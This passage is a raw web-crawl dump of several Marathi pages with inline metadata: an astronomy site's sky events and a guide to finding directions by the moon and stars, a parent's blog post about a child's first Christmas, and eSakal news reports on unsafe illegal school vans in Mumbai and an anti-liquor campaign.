ते २०२९ : शनी ग्रहाच्या\nसूर्य ग्रहण : २००९ - २०१२\nचंद्रग्रहण : २००९ - २०१५\nचंद्राच्या कलेवरुन अमावास्या आणि पौर्णिमांचे गणित \nखगोलीय अंतरे मोजण्याच्या पद्धती\nअवकाशीय वस्तू पाहण्याची क्षमता\nआम्ही केलेली निरीक्षणे पाहण्यासाठी क्लिक करा.\nअवकाशवेध.कॉमचे मोफत सभासद होण्यासाठी इथे क्लिक करा.\nपहिल्या पानावर जाण्यासाठी इथे क्लिक करा.\nया महिन्यातील विशेष घटना - जानेवारी २०१८\nदिनांक ७ जानेवारी २०१८ रोजी मंगळ आणि गुरु या दोन ग्रहांची युती पाहता येईल. यावेळी हे दोन्ही ग्रह एकमेकांच्या अर्ध्या अंशापेक्षाही कमी एवढ्या जवळ येतील.\nदिनांक ११ जानेवारी २०१८ रोजी मंगळ, गुरु आणि चंद्र हे एकत्र दिसतील.\nदिनांक १३ जानेवारी २०१८ रोजी शनी आणि मंगळ या दोन ग्रहांची युती पाहता येईल. यावेळी हे दोन्ही ग्रह १ अंशापेक्षाही कमी अंतरात एकमेकांच्या जवळ येतील.\nअक्षरांचा आकार वाढवा / अक्षरांचा आकार पुर्ववत करा\nअवकाशवेध.कॉम वरील माहिती संबंधी", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00340.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "http://avakashvedh.com/prashnottare/06_dhruvataara.html", "date_download": "2018-09-25T17:08:22Z", "digest": "sha1:URTQ5NK5PKGHRVQDBOS2OXWSD77WJTBU", "length": 11199, "nlines": 129, "source_domain": "avakashvedh.com", "title": "Avakashvedh - First Marathi Website on Astronomy", "raw_content": "\nपहिल्या पानावर जाण्यासाठी इथे क्लिक करा.\nखगोलशास्त्राची सुरुवात कशी कराल\nअवकाशवेध.कॉम वरील लेख आणि कथा वाचण्यासाठी इथे क्लिक करा.\nसूर्यानंतरच्या २० तेजस्वी तारका\nकाही महत्त्वाच्या रुपविकारी तारका\nअवकाशातील ११० मेसियर वस्तू\nकृष्णविवर - अवकाशातील विवर\n- मर्यादित आणि व्यापक\nखगोलशास्त्रावरील विविध प्रश्नोत्तरे पाहण्यासाठी इथे क्लिक करा.\nबुध ग्रह दिसण्याच्या तारखा,\nवेळ व त्यांचे स्थान\nइतर ग्रहांवर आपले वजन पहा\nइतर ग्रहांवर आपले वय पहा\nहाताच्या सहाय्याने तार्‍यांमधिल अंतर मोजणे\nधूमकेतूंना नावे देण्याची पद्धती\n२००१ ते २०२९ : शनी ग्रहाच्या\nसूर्य ग्रहण : २००९ - २०१२\nचंद्रग्रहण : २००९ - २०१५\nचंद्राच्या कलेवरुन अमावास्या आणि पौर्णिमांचे गणित \nखगोलीय अंतरे मोजण्याच्या पद्धती\nअवकाशीय वस्तू पाहण्याची क्षमता\nआम्ही केलेली निरीक्षणे पाहण्यासाठी क्लिक करा.\nअवकाशवेध.कॉमचे मोफत सभासद होण्यासाठी इथे क्लिक करा.\nपहिल्या पानावर जाण्यासाठी इथे क्लिक करा.\nसूर्य उगवतो ती पूर्व आणि मावळतो ती पश्चिम दिशा. तसेच जर आपण पूर्वेला तोंड करून उभे राहिलात तर आपल्या डाव्या हाताला उत्तर दिशा आणि आपल्या उजव्या हाताला दक्षिण दिशा असेल. सूर्याच्या मदतीने आपण दिवसा लगेच दिशा ओळखू शकतो. सूर्य जसा पहाटे पूर्वेला उगवून दुपारी डोक्यावर तर संध्याकाळी पश्चिमेस मावळतो. तसाच चंद्र देखिल पूर्व ते पश्चिम प्रवास करतो. परंतु सूर्य मावळल्यावर संध्याकाळी चंद्र पूर्वेस उगवेल हे दररोज शक्य होत नाही, मुळात चंद्र दररोज ५० मिनिटे उशिरा उगवत असल्याने दररोज त्याची उगवण्याची वेळ देखिल बदलते. कधी तो संध्याकाळी उगवितो, तर आणखी काही दिवसांनी तो मध्यरात्री उगवितो, तर काही वेळेस दिवसा सूर्य डोक्यावर असताना देखिल उगवितो.\nरात्रीच्या वेळेस जर चंद्र अवकाशामध्ये असेल तर त्याच्या प्रकाशित बाजूने सरळ रेषा ओढल्यास ती बरोबर आपणास पश्चिम दिशा दाखवेल. तसेच जर त्याच्या काळोख असलेल्या बाजूकडून सरळ लंब रेषा ओढल्यास ती आपणास पूर्व दिशा कळेल.\nपरंतु रात्रीच्या वेळेस अवकाशामध्ये चंद्र नसेल तर दिशा ओळखण्यासाठी काही तारकासमुहांची देखिल मदत होते. अशा प्रकारे रात्रीच्या वेळेस तारकासमुहांद्वारे दिशा ओळखण्याचे काही प्रकार खाली दिले आहेत.\n१) इंग्रजीमधील 'एम' किंवा 'डब्ल्यू' आकाराप्रमाणे दिसणार्‍या शर्मिष्ठा तारकासमुहाच्या मधील पाच प्रमुख तार्‍यापैकी तिसर्‍या व चौथ्या तार्‍यामधून सरळ लंबरेषा आखल्यास ती रेषा सरळ उत्तर ध्रुवतार्‍याकडे जाईल.\n२) सप्तर्षी तारकासमुहातील प्रमुख सात प्रमुख तार्‍यांपैकी पहिल्या दोन तार्‍यांना जोडून सरळ रेषा आखल्यास ती रेषा सरळ उत्तर ध्रुवतार्‍याकडे जाईल.\n३) मृग तारकासमुहामध्ये असलेले मृगाचे तोंड नेहमीच उत्तर दिशा दर्शविते.\n४) सिंह तारकासमुहामध्ये असलेले सिंहाचे तोंड नेहमीच पश्चिम दिशा दर्शविते.\nतसेच वरीलपैकी कोणताही तारकासमूह अवकाशामध्ये दिसत नसल्यास आपणास ओळखता येत नसल्यास साधारण दोन-तीन तास तार्‍यांचे निरीक्षण केल्यास आपणास त्यांच्या बदललेल्या जागेवरून त्यांची उगवण्याची पूर्व दिशा लक्षात येईल.\nअक्षरांचा आकार वाढवा / अक्षरांचा आकार पुर्ववत करा\nअवकाशवेध.कॉम वरील माहिती संबंधी", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00340.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://baal-saloni.blogspot.com/2009/12/blog-post_25.html", "date_download": "2018-09-25T17:48:26Z", "digest": "sha1:C2YQF64V4AULQE6FMPTJQ6LTLNH3NBGK", "length": 14640, "nlines": 101, "source_domain": "baal-saloni.blogspot.com", "title": "बाल-सलोनी: सांताचे आगमन", "raw_content": "\nकाल खरेदी करण्यासाठी आम्ही बाहेर गेलेलो तर परत येताना फ़्रीवेवर ही गर्दी. \"इतक्या रात्री ८ वाजता ही सर्व मंडळी कुठे चालली ... विशेषत: ख्रिसमस ईव्ह (सन्ध्याकाळी) ला\nअमेरिकेत ख्रिसमस आणि थॅन्क्सगिव्हिंग या दोन दिवसांची पूर्वसन्ध्या असे दिवस आहेत की त्यादिवशी अमेरिकेतील सर्व कामे थांबतात. दूर दूर गेलेले लोक घरी परतात. एकमेकांसोबत वेळ घालवतात. ख्रिसमस ट्री सजवतात. घरातल्या फायरप्लेस (शेकोटी) समोर बसुन हॉट चॉकोलेटचा आस्वाद घेतात. गाणीही म्हणतात. शांत बसणे, काहीही न करण्याचा आस्वाद घेणे याइतके अन-अमेरिकेन दुसरे काहीही असू शकत नाही.... परंतु हे दोन सण असे आहेत की अमेरिकेतील सगळे कामकाज थंडावते. असो .. त्यामुळे मला प्रश्न पडला इतकी गर्दी कशी काय.\nतेव्हा सोनबा अर्थात तुझी आई मला म्हणाली की ख्रिसमस च्या एकुण खरेदीपैकी ३९% खरेदी ख्रिसमसच्या पूर्वसंध्येला होते अमेरिकेत खरेदीशिवाय काहीच साजरे होत नाही. ख्रिसमस तर विशेष सण. यादिवशी सांता या वयस्कर माणसाला की जो उत्तर ध्रृवावर राह्तो, सर्व अमेरिकेतील (आणि जगभरातील) लहान मुलांना खेळणी देण्याचे काम करावे लागते :-) सिद्धोबा इतकी वर्षे सांताच्या नादी लागला नव्हता. परंतु यावर्षी त्याच्या काही वर्गमित्रांचे पाहुन त्याने देखील त्याची एक यादी बनवली होती.\nसिद्दोबाला नर्फ-फुटबॉल हवा होता कारण त्याच्या मित्राने क्विंटनने नर्फ-फुटबॉल मागीतला होता सांताकडे. परंतु त्या ट्रॅफिकला पाहुन हळुहळु माझ्या लक्षात आले की सिद्धोबाचा निरोप सांताकडे पोहोचला नाही अजून. एव्हाना तुझी आई मनातल्या मनात खुष झाली होती की बाबाचे उद्या काही खरे नाही कारण बाबाने सांताला सिद्धुची यादी पोहोचवली नाही आणि उद्या (ख्रिसमस) च्या दिवशी दुकाने बंद असतात.\n\"सिद्धु मी सांताला ई-मेल करतो आणि सांगतो.\"\n\"सांताकडे ईमेल आहे. आयफोन ब्लॅकबेरी आहे\n\"त्याचा ईमेल काय\" - सिद्धु\n\"सान्ता ऍट नॉर्थपोल डॉट कॉम\" - इति आई.\n\"ओके मग मी घरी गेल्यावर इमेल लिहितो\" - सिद्धु\n\"नाही लहान मुलांना ईमेल पाठवायची परवानगी नाही\" - आई\n\"सिद्धु मी लिहिन ईमेल ... परंतु आता तो जगभर फिरतोय त्यामुळे त्याला ईमेल वाचता येईल की नाही माहीत नाही.\nसिद्धुचा चेहेरा रडवेला झाला...\n\"पण मे बी त्याचा ब्लॅकबेरी आहे त्यामुळे मिळेल त्याला. तु काळजी करु नको उद्या नाही तर परवा तुला नक्की तुझ्या वस्तु मिळतील.\"\nघरी पोहोचल्यावर मला प्रश्न पडला की आता सांता कुठे भेटणार मी इंटरनेटवर शोध घेतला तर असे लक्षात आले की कुठल्याही टॉयजरस (खेळण्यांचे दुकान) मध्ये तो ९ पर्यंत भेटेल मी इंटरनेटवर शोध घेतला तर असे लक्षात आले की कुठल्याही टॉयजरस (खेळण्यांचे दुकान) मध्ये तो ९ पर्यंत भेटेल मी माझ्या एका मित्राला भेटायचे म्हणुन बाहेर पडलो. तो अर्थातच टॉयजरस च्या शेजारी रहात होता. मग मी तसेच टॉयजरस मध्ये सांता सापडतो का पाहिले, परंतु सांता तिथुन निघुन गेला होता. मग पुढे वॉलमार्ट मध्ये पाहिले. तिथे तर चतु:शृंगीपेक्षा जास्त गर्दी ... आणि वर सांता भेटला नाही ते वेगळे. परंतु तिथे कळले की २५ मैलावर असलेल्या दुसऱ्या एका टॉयजरसमध्ये नक्की सांता भेटेल मी माझ्या एका मित्राला भेटायचे म्हणुन बाहेर पडलो. तो अर्थातच टॉयजरस च्या शेजारी रहात होता. मग मी तसेच टॉयजरस मध्ये सांता सापडतो का पाहिले, परंतु सांता तिथुन निघुन गेला होता. मग पुढे वॉलमार्ट मध्ये पाहिले. तिथे तर चतु:शृंगीपेक्षा जास्त गर्दी ... आणि वर सांता भेटला नाही ते वेगळे. परंतु तिथे कळले की २५ मैलावर असलेल्या दुसऱ्या एका टॉयजरसमध्ये नक्की सांता भेटेल शेवटी मी गाडी तिकडे वळवली. आणि अखेरीस तिथे मात्र सांता भेटला. त्याला मी सिद्धुच्या नर्फ-फुटबॉलचा निरोप दिला आणि घरी आलो.\nएव्हाना सिद्धोबाने खोली आवरली होती. जेवण केले होते. त्याच फळा स्वैपाकघरामध्ये आणुन त्यावर खडुने नक्षी काढली आणि सांताला शुभेच्छा लिहिल्या. आईला दुध आणि कुकीज ठेवायला सांगीतल्या. आणि मग तो झोपायला गेला.\nरात्री मी पाठ दुखते म्हणुन फॅमिली रूम मध्ये झोपलो. साधारण पहाटेचे पाच वाजले असतील आणि मला असा भास झाला की घरात पावले वाजत आहेत. मी किंचीत उठलो पण मिट्ट काळोख होता. त्यामुळे कंटाळा केला. त्यानंतर एकदम ६:३० लाच जाग आली. अजुनही अंधारच होता. मी सवयीने अंधारात चाचपडत किचन बार पर्यंत गेलो. ब्लॅकबेरी चा हिरवा दिवा लुकलुकत होता. तो उचलला आणि पासवर्ड टाईप करायला लागलो ... माझ्या चेहेऱ्यावर अंधारात प्रकाश पडलेला ... आणि एकदम माझा दंड हलु लागला. काही शब्दही ऐकु आले. पण अजुनही मी झोपेत होतो. भूत बित कळण्याइतपतही शुद्धीवर नव्हतो हळुहळु मला थोडे थोडे कळु लागले ... सिद्धोबा मला सांगत होता ... \"बाबा, सांता येऊन गेला. त्याने मला नर्फ फुटबॉल आणि बेसबॉलचा फिल्डिंग ग्लोव्ह दिला आहे.\"\n\" मी ऑस्कर मिळवण्याच्या जिद्दीने त्याच्याइतकेच आश्चर्यमुग्ध होऊन विचारले.... \"कधी आला होता\"\n\"मला वाटते सिक्स हवर्स बॅक... मला त्याच्या पायांचा आवाज आला. मी रात्रभर झोपलोच नाही\"\n\"झोपलाच नाही\" - मी\n\"नाही ... मे बी थोडा वेळ झोपलो. पण मला झोपच लागत नव्हती. पण सांताला पहायला बाहेर आलो ...पण तो नाही दिसला ..म्हणुन मी त्याचा मिल्क ग्लास शोधला ... टेबलावर नाही. डिशवॉशर मध्ये नव्हता .. सिंक मध्ये पण नाही. ... \"\n\"कदाचीत त्याने हाताने धुवुन परत ठेवला असेल\" - मी\nसांताने सिद्धु ला एक पत्र देखील लिहिले होते. सिद्धुला मी ते दाखवले. तो भलताच खुष झाला. परंतु त्या पत्रामध्ये सिद्धोबाला शुद्धलेखनाच्या दोन चुका आढळल्या. परंतु सांताला घाई असते असे म्हणुन मी फेटाळुन लावल्या. सिद्धोबाने फ्रीजच्या बाजुला लावलेली त्याची आणि तुझी यादी काढली.\n\"अरे हे काय आहे\"\n\"माझी आणि सलोनीची यादी\" - सिद्धू\n\"सलोनीची पण यादी होती\" - मी हैराण होऊन ...\n\"हो. मी तिला क्लोद्स आणि खेळणी मागीतली होती\"\n\"अरे पण हा तिचा पहिलाच ख्रिसमस असल्यामुळे सांताला अजुन ती माहित नाही ना\" - मी ...\n\"ओ के ... नेक्स्ट टाईम..\" - सिद्धु\nमी हुश्श केले ..\nमला एव्हरेस्ट जिंकल्याचा आनंद झाला..\nअसा हा तुझा पहिला ख्रिसमस.. खरे तर आम्ही ख्रिसमस ट्री पण आणणार होतो. पण राहुन गेले. सगळीकडे इतके छान वातावरण आहे त्यामुळे म्हटले आपण किरिस्ताव नसलो तरीही ख्रिसमस साजरा करायला काय हरकत आहे. ३३ कोटींमध्ये येशु ख्रिस्त अजून एक देव. जैसा देस वैसा भेस. बाकी आपण अगदी अमेरिकन लोकांसारखे सरावलेलो नाही .... पण जमेल तसा ख्रिसमस साजरा केला. मुख्य म्हणजे सांताकडे ईमेल असल्यामुळे सगळे कसे सुरळीत पार पडले.\nहवाहवाई - भाग १ माऊई कडे प्रयाण\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00340.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.esakal.com/mumbai/school-autorickshaw-and-omni-vans-students-life-137912", "date_download": "2018-09-25T17:51:53Z", "digest": "sha1:5LCKLDYAX3SDGO7PK7AEUI66PJWG6ATS", "length": 22928, "nlines": 215, "source_domain": "www.esakal.com", "title": "School Autorickshaw and Omni vans students life रिक्षा अन्‌ ओम्नी व्हॅन विद्यार्थ्यांच्या जीवावर | eSakal", "raw_content": "\nरिक्षा अन्‌ ओम्नी व्हॅन विद्यार्थ्यांच्या जीवावर\nगुरुवार, 16 ऑगस्ट 2018\nशालेय विद्यार्थ्यांची वाहतूक करणाऱ्या वाहनांना वारंवार होणाऱ्या अपघातांच्या पार्श्‍वभूमीवर सरकारने विद्यार्थ्यांच्या सुरक्षेसाठी धोरण तयार केले; पण ते कागदावरच राहिले आहे.ओम्नी, रिक्षा, इको आदी खासगी वाहनांना आरटीओचे परवाने नसतानाही मुंबई परिसरात त्यातून विद्यार्थ्यांची वाहतूक बिनदिक्कतपणे सुरू आहे. विद्यार्थ्यांना त्यात कसेही कोंबण्यात येत असले तरी कोणीही संबंधितांवर कारवाई करत नाही. सर्वसामान्य वाहनचालकांनी एखादा नियम मोडताच त्यांच्यावर कारवाईचा बडगा उगारणाऱ्या आरटीओ अधिकाऱ्यांनी जणू काही अशा बेकायदा वाहतुकीला अभय दिले आहे...\nएमएमआर क्षेत्रात १० हजार बेकायदा बस\n१ नियमांचे व कायदेशीर तरतुदींचे उल्लंघन करत मुंबई महानगर क्षेत्रात १० हजारांहून अधिक स्कूल व्हॅन रस्त्यावर धावत आहेत. त्यांच्यावर कारवाई करणे अपेक्षित असतानाही आरटीओचे दुर्लक्ष होत असल्याचा आरोप स्कूल बस असोसिएशनचे अध्यक्ष अनिल गर्ग यांनी केला आहे.\n२ शहर आणि उपनगरांतील शाळांमध्ये विद्यार्थ्यांची ने-आण करण्यासाठी स्कूल बसना आरटीओकडून परवानगी देण्यात येते. नियमांचा भंग होत असूनही या बसवर कारवाई होत नाही. पालकांनाही विद्यार्थ्यांच्या सुरक्षेची जाणीव नसल्याने; तसेच पैसे वाचविण्यासाठी ते आपल्या पाल्यांना बेकायदा गाड्यांमधून शाळेत पाठवतात.\n३ अशा वाहनांवर कारवाई करण्याची मागणी असोसिएशनने वारंवार आरटीओकडे केली आहे. पण आरटीओकडे पुरसे मनुष्यबळ नसल्याचे कारण देऊन कारवाईकडे दुर्लक्ष करण्यात येते. मोठी दुर्घटना झाल्यानंतर सरकार या प्रश्‍नाकडे लक्ष देणार काय, असा सवालही अनिल गर्ग यांनी उपस्थित केला आहे.\nस्कूल बस धोरण नियमावलीतील तरतुदी\n‘स्कूल बस’चा अर्थ शाळा, महाविद्यालये आणि इतर शैक्षणिक संस्थांतील विद्यार्थ्यांच्या वाहतुकीसाठी विशेष रचना असलेली कंत्राटी वाहने (१२ आसनी चारचाकी वाहनांसह)\nमुलांच्या सुरक्षेचा निर्णय घेण्यासाठी प्रत्येक जिल्ह्यात पोलिस आयुक्त किंवा जिल्हा पोलिस अधीक्षकांच्या अध्यक्षतेखाली जिल्हा स्कूल बस सुरक्षितता समिती.\nमुलांची ने-आण, शुल्क आणि थांबे निश्‍चित करण्यासाठी प्रत्येक शाळेची परिवहन समिती. ती समिती वाहनांची व चालकाची सर्व कागदपत्रे (विमा, परवाना, पीयूसी व लायसन्स) आणि अग्निशामक, प्रथमोपचार पेटी आदींची पडताळणी करील.\nसमितीच्या अध्यक्षस्थानी शाळेचे मुख्याध्यापक, पालक-शिक्षक संघाचा एक प्रतिनिधी, तेथील वाहतूक निरीक्षक किंवा पोलिस निरीक्षक, तेथील मोटार वाहन निरीक्षक, शिक्षण निरीक्षक, बस कंत्राटदाराचा प्रतिनिधी आणि स्थानिक प्राधिकरणाचा प्रतिनिधी असतील. समितीची तीन महिन्यांतून किमान एकदा बैठक होईल.\nस्कूल बस पिवळ्या रंगाची असेल. वाहनाच्या पुढच्या आणि मागच्या बाजूला ‘स्कूल बस’ असे ठळकपणे लिहावे. वाहनाच्या खिडकीखाली शाळेचे नाव लिहिलेला १५० मिलीमीटर रुंदीचा विटकरी पट्टा रंगवावा.\nराज्यातील स्कूल बस १५ वर्षांहून जुन्या नसाव्यात.\nमुंबईतील स्कूल बस ८ वर्षांहून जुन्या नसाव्यात.\nबसमध्ये विद्यार्थ्यांच्या नावांची (त्यांच्या सर्व तपशिलासह) यादी आणि संस्थेने साक्षांकित केलेला मार्ग असावा.\nमुलांची काळजी घेण्यासाठी चालकासोबत एक सहकारी आणि मुलींच्या स्कूल बसमध्ये स्त्री-सहकारी.\nबसमध्ये मुले चढता-उतरताना आपोआप धोक्‍याचे इशारे देणारी प्रकाशयोजना.\nवाहनाला वेगनियंत्रक जोडणे गरजेचे (वेगमर्यादा महापालिका हद्दीत ताशी ४० कि.मी. व अन्यत्र ५० कि.मी.).\nस्कूल बस आहे, असे दाखविण्यासाठी पुढच्या व मागच्या बाजूस ३५० मिलीमीटर x ३५० मिलीमीटर आकाराचा फलक. त्यावर एक मुलगी व एक मुलगा यांची चित्रे. त्याखाली काळ्या रंगांमध्ये स्कूल बस अशी अक्षरे असावीत.\nस्कूल बसला बंद स्वरूपाची स्टील बॉडी. तिला कॅनव्हास छत नसावे.\nस्कूल बसमध्ये संकटकाळी बाहेर पडण्याचा दरवाजा किंवा खिडकी.\nबस सेवेशी संबंध नसल्याचा शाळांचा दावा\nस्कूल बस वापरणाऱ्या विद्यार्थ्यांच्या सुरक्षेसाठी शालेय वाहतुक समित्या स्थापन करण्याचे सरकारी निर्देश असले, तरी मुंबईतील प्रतिष्ठित शाळा जबाबदारीतून अंग झटकण्यासाठी शालेय वाहतूक समित्यांची नियुक्तीची जबाबदारी टाळतक पालकांवरच विद्यार्थ्यांच्या वाहतुकीची जबाबदारी ढकलतात. माटुंग्याच्या ‘डॉन बॉस्को’ शाळेने तर बस सेवा घ्या, असे आम्ही सांगितले नाही. त्यामुळे पाल्यांना गेटवर सोडा आणि गेटवरून घेऊन जा. बस सेवेशी आमचा संबध नाही, अशी भूमिका घेतली आहे. तरीही प्रवेश घेतेवेळी शाळेत स्कूल बसचा प्रतिनिधी त्याच्या व्हिजिटिंग कार्डसह हजर असतो.\nवास्तविक अनेक शाळांना आठवड्यातून दोन दिवस सुटी असते. गणेशोत्सव, दिवाळी, नाताळ आणि उन्हाळ्याच्या सुट्ट्यांमध्ये तीन महिन्यांपेक्षा जास्त काळ जातो. पालकांकडून मात्र वर्षभराची स्कूल बसची फी वसूल केली जाते. उदा., डॉन बॉस्को शाळा १८ जूनपासून सुरू झाली असूनही बस सेवेसाठी जून महिन्याचे संपूर्ण शुल्क वसुल करण्यात आले आहे. स्कूल बससाठी प्रति महिना साधारणपणे ११०० ते १२०० रुपये अशी अंतरानुसार फी आकारली जाते. एप्रिल महिन्यात परीक्षा संपून शाळा संपते तरीही मे महिन्यातील संपूर्ण फी घेतली जाते.\nपश्‍चिम उपनगरांतील अनेक शाळांच्या बस मोठ्या असल्याने शाळा परिसरात वाहतूक कोंडी होते. शाळांनी मिनी बसचा वापर केल्यास विद्यार्थ्यांच्या सुरक्षेसह वाहतूक कोंडीवरही मार्ग निघेल.\n- प्रशांत रेडीज, सचिव, मुंबई मुख्याध्यापक संघटना\nस्कूल व्हॅन कोणतेही नियम पाळत नाहीत. विद्यार्थ्यांच्या सुरक्षेची काळजी घेत नाहीत. पालकांमध्ये जागृती नसल्याने विद्यार्थ्यांच्या सुरक्षेचा प्रश्‍न निर्माण झाला आहे. शाळांमध्ये कमिट्या आहेत. पण त्याच्या बैठका नियमित होतात की नाही आरटीओचे अधिकारी तरी बैठकांना जातात की नाही, हा प्रश्‍नच आहे. स्कूल बसमध्ये सीसी टीव्ही कॅमेरा हवा; पण त्याकडेही शाळा वा आरटीओचे लक्ष नसते.\n- अरुंधती चव्हाण, अध्यक्ष, पालक-टीचर असोसिएशन\nबेकायदा स्कूल बसचा राक्षस\nबेकायदा रिक्षा, टॅक्‍सी आणि खासगी बसचालकांकडून स्कूल बससाठीचे नियम पाळले जात नाहीत.\nक्षमतेपेक्षा अधिक विद्यार्थ्यांना गाडीत कोंबले जाते.\nविद्यार्थी दाटीवाटीने अन्‌ गुदमरत प्रवास करतात.\nस्कूल बस म्हणून वापरण्यात येणाऱ्या अनेक वाहनांची वयोमर्यादाच संपली आहे.\nअनेक शाळांमध्ये शालेय वाहतूक समिती अस्तित्वात नाही.\nस्कूल बसची जबाबदारी शाळा झटकत आहेत.\nअनेक बसना पिवळा रंगच नसतो. बसवर शाळेचे नाव नसते.\nस्कूल बस अवाच्या सव्वा भाडे घेतात.\n(संकलन - तेजस वाघमारे, कृष्ण जोशी, विजय गायकवाड आणि ब्रह्मा चट्टे)\nअनैतिक संबंधातून खून; दोघांना जन्मठेप\nनाशिक : अनैतिक संबंधावरून दम दिल्याच्या रागातून आरोपीने साथीदाराच्या मदतीने प्रेयसीचा पती दशरथ ठमके यांचा निर्घृणपणे खून केला. त्यानंतर पुरावा...\nबाळासाहेब खोटे बोलतात : गुलाबराव गावंडे\nअकोला : राष्ट्रवादी काँग्रेसचे सर्वेसर्वा आणि महाराष्ट्रातील बहुजनांचे नेते शरद पवार यांच्यामुळेच भारिप बहुजन महासंघाचे नेते अॅड. बाळासाहेब...\nपक्षीमित्रांनी दिले सातभाई पक्षाला जीवदान\nनिजामपूर-जैताणे (धुळे) : माळमाथा परिसरातील लोणखेडे (ता.साक्री) येथील जिल्हा परिषद शाळेचे प्राथमिक शिक्षक, पक्षीमित्र राकेश जाधव, गोकुळ पाटील व कढरे (...\nसोलापुरात शायनिंग महाराष्ट्र महाप्रदर्शन\nसोलापूर : राज्यसभेचे खासदार अमर साबळे यांच्या संकल्पनेतून दिल्ली येथील सांसा फाऊंडेशनच्यावतीने बुधवार 26 ते शुक्रवार 28 सप्टेंबर या कालावधीत गांधीनगर...\nपशुसेवेच्या शतकी परंपरेची इंडिया रेकॉर्डकडून दखल\nसांगली - संस्थानकाळात पहिला पशुवैद्यकीय दवाखाना सुरु करणारे आणि शतकभरापुर्वी सांगलीतून पहिली पशुवैद्यक शास्त्रातील सर्जन म्हणून पदवी मिळवणारे डॉ...\nरिफंड आणि इतर आर्थिक व्यवहार\nरिफंड आणि इतर आर्थिक व्यवहार\nतनिष्का स्त्री प्रतिष्ठा अभियान\nतनिष्का स्त्री प्रतिष्ठा अभियान\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nसकाळ इंटरनॅशनल लर्निंग सेंटर\neSakal च्या बातम्यांसाठी सबस्क्राईब करा\neSakal च्या महत्वाच्या बातम्यांची आणि ब्रेकिंग न्यूजची नोटिफिकेशन्स तत्काळ मिळविण्यासाठी सबस्क्राईब करा.\n* आपण नोटिफिकेशनसंबंधी हवे ते बदल ब्राऊजर सेटिंग्जमध्ये जाऊन कधीही करू शकता.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00340.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.esakal.com/paschim-maharashtra/darumukta-maharashtra-pressure-group-41010", "date_download": "2018-09-25T17:42:28Z", "digest": "sha1:5OACM7OS55MVRNGQFTF47Z6FADKI4W3Q", "length": 10771, "nlines": 172, "source_domain": "www.esakal.com", "title": "darumukta maharashtra pressure group 'दारूमुक्त महाराष्ट्र' चळवळ दबाव गट व्हावा - तृप्ती देसाई | eSakal", "raw_content": "\n'दारूमुक्त महाराष्ट्र' चळवळ दबाव गट व्हावा - तृप्ती देसाई\nगुरुवार, 20 एप्रिल 2017\nराहुरी - \"दारूमुक्त महाराष्ट्र' ही जनचळवळ वाढली पाहिजे. तिने दबाव गट म्हणून काम केले, तर राज्य सरकारलाही तसा निर्णय घेणे भाग पडेल, अशी अपेक्षा भूमाता ब्रिगेडच्या तृप्ती देसाई यांनी आज व्यक्त केली.\nराहुरी - \"दारूमुक्त महाराष्ट्र' ही जनचळवळ वाढली पाहिजे. तिने दबाव गट म्हणून काम केले, तर राज्य सरकारलाही तसा निर्णय घेणे भाग पडेल, अशी अपेक्षा भूमाता ब्रिगेडच्या तृप्ती देसाई यांनी आज व्यक्त केली.\nभूमाता ब्रिगेड व आंतरराष्ट्रीय मानवाधिकार असोसिएट्‌स यांनी दारूमुक्त महाराष्ट्र चळवळीचा भाग म्हणून मोटरसायकल फेरी काढली. तिचे तहसील कार्यालयासमोर सभेत रूपांतर झाले. त्यात देसाई बोलत होत्या. या वेळी नायब तहसीलदार सुभाष कदम यांना मागण्यांचे निवदेन देण्यात आले.\nदेसाई म्हणाल्या, 'भारतीय जनता पक्षाचे सरकार असताना चंद्रपूर, वर्धा जिल्ह्यांमध्ये दारूबंदी होते; अन्यत्र का होत नाही सुरवातीचे तीन महिने हे आंदोलन गांधीगिरी पद्धतीने सुरू राहील. नंतर महाराष्ट्रभर पदयात्रा निघतील; त्यात पाच लाख महिला सहभागी होतील.''\nबाळासाहेब खोटे बोलतात : गुलाबराव गावंडे\nअकोला : राष्ट्रवादी काँग्रेसचे सर्वेसर्वा आणि महाराष्ट्रातील बहुजनांचे नेते शरद पवार यांच्यामुळेच भारिप बहुजन महासंघाचे नेते अॅड. बाळासाहेब...\nबीड : महाराष्ट्र, कर्नाटक व मध्यप्रदेश, उत्तरप्रदेश व राजस्थान या राज्यांतील अनेक जिल्ह्यांत भौतिक, आर्थिक व औद्योगिक विकासाला चालना मिळण्यासाठी...\nशरद पवारांनी सोडविली दोन वाहिन्यांमधील 'कुस्ती'\nपुणे- कुस्ती स्पर्धा भरविण्यावरुन दोन मराठी वाहिन्यांमध्ये सुरु असलेल्या वादावर शरद पवार यांनी मध्यस्थी केली आहे. या दोन्ही वाहिन्यांनी कुस्तीगीर...\nसोलापुरात शायनिंग महाराष्ट्र महाप्रदर्शन\nसोलापूर : राज्यसभेचे खासदार अमर साबळे यांच्या संकल्पनेतून दिल्ली येथील सांसा फाऊंडेशनच्यावतीने बुधवार 26 ते शुक्रवार 28 सप्टेंबर या कालावधीत गांधीनगर...\nपशुसेवेच्या शतकी परंपरेची इंडिया रेकॉर्डकडून दखल\nसांगली - संस्थानकाळात पहिला पशुवैद्यकीय दवाखाना सुरु करणारे आणि शतकभरापुर्वी सांगलीतून पहिली पशुवैद्यक शास्त्रातील सर्जन म्हणून पदवी मिळवणारे डॉ...\nरिफंड आणि इतर आर्थिक व्यवहार\nरिफंड आणि इतर आर्थिक व्यवहार\nतनिष्का स्त्री प्रतिष्ठा अभियान\nतनिष्का स्त्री प्रतिष्ठा अभियान\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nसकाळ इंटरनॅशनल लर्निंग सेंटर\neSakal च्या बातम्यांसाठी सबस्क्राईब करा\neSakal च्या महत्वाच्या बातम्यांची आणि ब्रेकिंग न्यूजची नोटिफिकेशन्स तत्काळ मिळविण्यासाठी सबस्क्राईब करा.\n* आपण 